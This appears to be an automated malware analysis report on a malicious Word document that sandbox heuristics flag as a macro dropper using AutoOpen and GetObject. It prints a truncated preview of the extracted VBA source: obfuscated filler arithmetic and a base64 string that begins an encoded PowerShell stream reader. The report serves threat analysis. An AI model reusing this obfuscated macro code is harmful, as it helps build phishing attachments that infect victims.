Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ddf8088e8d20e632…

MALICIOUS

Office (OLE)

224.6 KB Created: 2019-03-15 14:12:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: a4d0e270eaf08812607453aff65b0597 SHA-1: 78673150b082eb53a1d3ac0664f997f7566ab016 SHA-256: ddf8088e8d20e6320e6b8381ffc11303bae71c0ced56739ccc4a00cdd5ebd249
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and contains a critical OLE_VBA_PCODE_AUTOEXEC_EXEC heuristic, indicating a VBA auto-execution macro that uses GetObject for execution. The presence of a VBA macro and the autoopen marker strongly suggest an attempt to execute code upon opening the document. While the VBA script itself is heavily obfuscated, the heuristics point to its likely purpose of downloading and executing a secondary payload.

Heuristics 7

  • ClamAV: Doc.Malware.Droo-6903173-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Droo-6903173-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 53728 bytes
SHA-256: 2e8762b0eeca2b77a3b247cef07d9d15eacd2f09dca11a193a09d9b5c1e25683
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "cU1A41_"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "iAAB4Dx"
Function IZDBQ4()
   If HUoAQ4A = K1AUwB Then
       AooUUDA = 166657454 * vc1AQQ
       bB4CcAD = HABo1AAQ / 229126659 / 871723279 + 744152178 * 751445714 / 369718703 + (rDADAAZ - Tan(j1UQAAA + 345334324 - 605118741 - Oct(zBDABowB - Hex(908012061) + 176718505 + Oct(867800412))) + (159435008 / Sqr(773988887)))
       jA1AAA = 626271690 * zAAZAA
End If
   If iBAwQo = fQUoZxoA Then
       hwADBBUD = 589448533 * RAwxAkAA
       n4ABGck = wA4QDQ1 / 237121252 / 984991603 + 50129568 * 829439565 / 174715579 + (z1UZoAo_ - Tan(JoAoQX + 590588858 - 260975432 - Oct(q_UDB_ - Hex(166904822) + 892765103 + Oct(440703508))) + (208463113 / Sqr(412832560)))
       rw11_AQ = 594016844 * d4_AU_A
End If
   If dAAQAAC = p1BABA1 Then
       XB_BA1 = 804664163 * RQBcBAx
       mGAAAXA = dAD1kx / 261161455 / 418949576 + 256728713 * 28372168 / 979527069 + (lxD4AA - Tan(BkABBAB + 728813671 - 153013062 - Oct(OcwwDxUQ - Hex(718544484) + 409411168 + Oct(555708371))) + (978472189 / Sqr(125232786)))
       zADAAABB = 535168921 * mBcAUkQ
End If
   If RQGAkAAU = ZA1AxXA Then
       mwGBoAA = 553401725 * FBDZwA
       DQBBxo = GAkA4wAD / 559772210 / 461089845 + 661221981 * 689421010 / 796261855 + (foQkCU - Tan(dAxAAB + 899664189 - 200044816 - Oct(w1DAkQoA - Hex(739571070) + 940689061 + Oct(769381057))) + (587394761 / Sqr(417213991)))
       Rwc_Qc = 555473500 * dAB_AQGA
End If
   If iAA11AkB = pUkAAAA1 Then
       vAQXB1_ = 54284777 * U1B4wk1c
       axkXAA = pAAAAB / 767930234 / 864119435 + 840431413 * 233226221 / 431754384 + (DAAAZoQ - Tan(WGADDAGB + 48669113 - 704056661 - Oct(NA_ABA - Hex(837439844) + 345312132 + Oct(273457832))) + (63506446 / Sqr(534676408)))
       WBZQA1A_ = 980893528 * QDZoXAX
End If
   If ZQAAAB = aAAA4x Then
       B_GAZAZ = 189146771 * Nko4Aw
       JAAX_AkU = dAUAAZU / 238704000 / 422465549 + 258105481 * 542824642 / 435685260 + (VA1cDAA - Tan(hBxXBxwG + 761678711 - 261653279 - Oct(zAAwDAA - Hex(804531362) + 410636096 + Oct(432513668))) + (746611890 / Sqr(875684361)))
       RAADoAoQ = 51709270 * PBwX4QXD
End If
   If pXx1ACAA = kAX4QxDA Then
       QAAA_DG1 = 393714294 * mcAGAACD
       ZxBxcQAw = jUA4AkAA / 828860433 / 252002105 + 492418811 * 926866533 / 343564292 + (s_CDGkQ_ - Tan(fZA_BUDD + 5509470 - 55945585 - Oct(GQ14AQA - Hex(452017812) + 564040955 + Oct(686889086))) + (308731958 / Sqr(69954372)))
       RoAQDA = 665116046 * jZA1BUB
End If
   If IAcADc = KAQBDUZA Then
       vooAQBU = 225307081 * YAoA_o1A
       WQUU1kc = fQA4Q_c / 351081868 / 244540235 + 891096719 * 145302277 / 45367667 + (SwQDwk - Tan(CcGcDZZ + 626514729 - 413852199 - Oct(tA1UAkB - Hex(488188406) + 524523816 + Oct(50894717))) + (538390704 / Sqr(611012899)))
       QAAQAA = 924833891 * YDCQkZ
End If
End Function
Function SAAAAGQ()
On Error Resume Next
If qoDwUA1G = sGUQAo Then
       YU_ACX = 287750603 * wZA_UQGo
       tZZcAA = pUAAGUAA / 860658513 / 216377560 + 550350428 * 920997540 / 911945343 + (IDAAUX - Tan(ucAABc + 435878146 - 829466079 - Oct(WZQBQA - Hex(336909773) + 666144889 + Oct(759909822))) + (920899973 / Sqr(447037960)))
       LA1A4_AX = 564272179 * NXCGwCA
End If
   If QA1G_UAZ = zAA4GAo_ Then
       QCoAAC = 501567366 * fDBDGcA
       wAkUkA = RACC1_ / 868780443 / 923753279 + 468127597 * 368909782 / 917221257 + (awckUAA - Tan(iAAoQXX4 + 837310715 - 960978303 - Oct(jDcAAAUA - Hex(217103481) + 629138258 + Oct(12126364))) + (766817359 / Sqr(381239177)))
       G4U1ck = 591079096 * HUAGAo
End If
Y_AA4DUA = "KAAgAG4ARQB3AC0ATwBCAEoAZQBjAFQAIAAgAGkATwAuAHMAVABSAEUAYQBNAFIAZQBhAGQAZQBSACgAKAAg"
If YADA1A = UQAABkG Then
       cAAUox = 258697236 * tGQQAC
       YwD4UZkA = YAADwc / 73812250 / 188096371 + 299720960 * 431728990 / 794459285 + (FBwXA4B - Tan(PAAAAUB + 414352560 - 121959079
... (truncated)